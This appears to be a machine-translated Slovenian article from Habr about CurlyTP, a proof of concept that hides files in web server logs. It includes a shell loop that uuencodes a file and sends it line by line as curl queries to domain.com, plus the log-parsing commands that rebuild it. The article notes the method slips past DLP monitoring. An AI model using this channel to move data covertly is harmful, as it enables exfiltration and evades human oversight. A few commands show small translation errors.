Izmenjava tajnih sporočil prek dnevnikov strežnika

Po definiciji Wikipedije je mrtva kapljica orodje zarote, ki služi za izmenjavo informacij ali nekaterih predmetov med ljudmi, ki uporabljajo tajno lokacijo. Ideja je, da se ljudje nikoli ne srečajo - vendar si vseeno izmenjujejo informacije, da ohranijo operativno varnost.

Skrivališče ne sme pritegniti pozornosti. Zato v svetu brez povezave pogosto uporabljajo diskretne stvari: ohlapno opeko v steni, knjižnično knjigo ali luknjo v drevesu.

Na internetu je veliko orodij za šifriranje in anonimiziranje, vendar že dejstvo, da se uporabljajo ta orodja, pritegne pozornost. Poleg tega so lahko blokirani na ravni podjetja ali vlade. Kaj storiti?

Razvijalec Ryan Flowers je predlagal zanimivo možnost - uporabite kateri koli spletni strežnik kot skrivališče. Če dobro pomislite, kaj počne spletni strežnik? Sprejema zahteve, izdaja datoteke in piše dnevnike. In beleži vse zahteve, tudi nepravilne!

Izkazalo se je, da kateri koli spletni strežnik omogoča shranjevanje skoraj vsakega sporočila v dnevnik. Flowers se je spraševala, kako to uporabiti.

Ponuja to možnost:

  1. Vzemite besedilno datoteko (skrivno sporočilo) in izračunajte zgoščeno vrednost (md5sum).
  2. Kodiramo ga (gzip+uuencode).
  3. V dnevnik pišemo z namenoma napačno zahtevo strežniku.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Če želite prebrati datoteko, morate te operacije izvesti v obratnem vrstnem redu: dekodirati in razpakirati datoteko, preveriti zgoščeno vrednost (zgoščeno vrednost je mogoče varno prenašati po odprtih kanalih).

Presledki se nadomestijo z =+=tako da v naslovu ni presledkov. Program, ki ga avtor imenuje CurlyTP, uporablja kodiranje base64, tako kot e-poštne priloge. Zahteva je podana s ključno besedo ?transfer?tako da ga lahko prejemnik zlahka najde v dnevnikih.

Kaj v tem primeru vidimo v dnevnikih?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Kot že omenjeno, morate za prejem tajnega sporočila izvesti operacije v obratnem vrstnem redu:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Postopek je enostavno avtomatizirati. Md5sum se ujema in vsebina datoteke potrjuje, da je bilo vse pravilno dekodirano.

Metoda je zelo preprosta. »Bistvo te vaje je samo dokazati, da je mogoče datoteke prenašati prek nedolžnih majhnih spletnih zahtev in deluje na katerem koli spletnem strežniku z dnevniki navadnega besedila. V bistvu je vsak spletni strežnik skrivališče!« piše Flowers.

Metoda seveda deluje le, če ima prejemnik dostop do dnevnikov strežnika. Toda takšen dostop zagotavljajo na primer številni gostitelji.

Kako ga uporabiti?

Ryan Flowers pravi, da ni strokovnjak za informacijsko varnost in ne bo sestavil seznama možnih uporab za CurlyTP. Zanj je to le dokaz koncepta, da je znana orodja, ki jih vidimo vsak dan, mogoče uporabiti na nekonvencionalen način.

Pravzaprav ima ta metoda številne prednosti pred drugimi "skrivali" strežnika, kot je Digital Dead Drop ali PirateBox: ne zahteva posebne konfiguracije na strani strežnika ali kakršnih koli posebnih protokolov - in ne bo vzbudil suma pri tistih, ki spremljajo promet. Malo verjetno je, da bo sistem SORM ali DLP skeniral URL-je za stisnjene besedilne datoteke.

To je eden od načinov prenosa sporočil prek servisnih datotek. Lahko se spomnite, kako so nekoč postavljala nekatera napredna podjetja Dela razvijalca v glavah HTTP ali v kodi strani HTML.

Izmenjava tajnih sporočil prek dnevnikov strežnika

Ideja je bila, da bi samo spletni razvijalci videli to velikonočno jajce, saj normalen človek ne bi pogledal glav ali kode HTML.

Izmenjava tajnih sporočil prek dnevnikov strežnika

Vir: www.habr.com

Dodaj komentar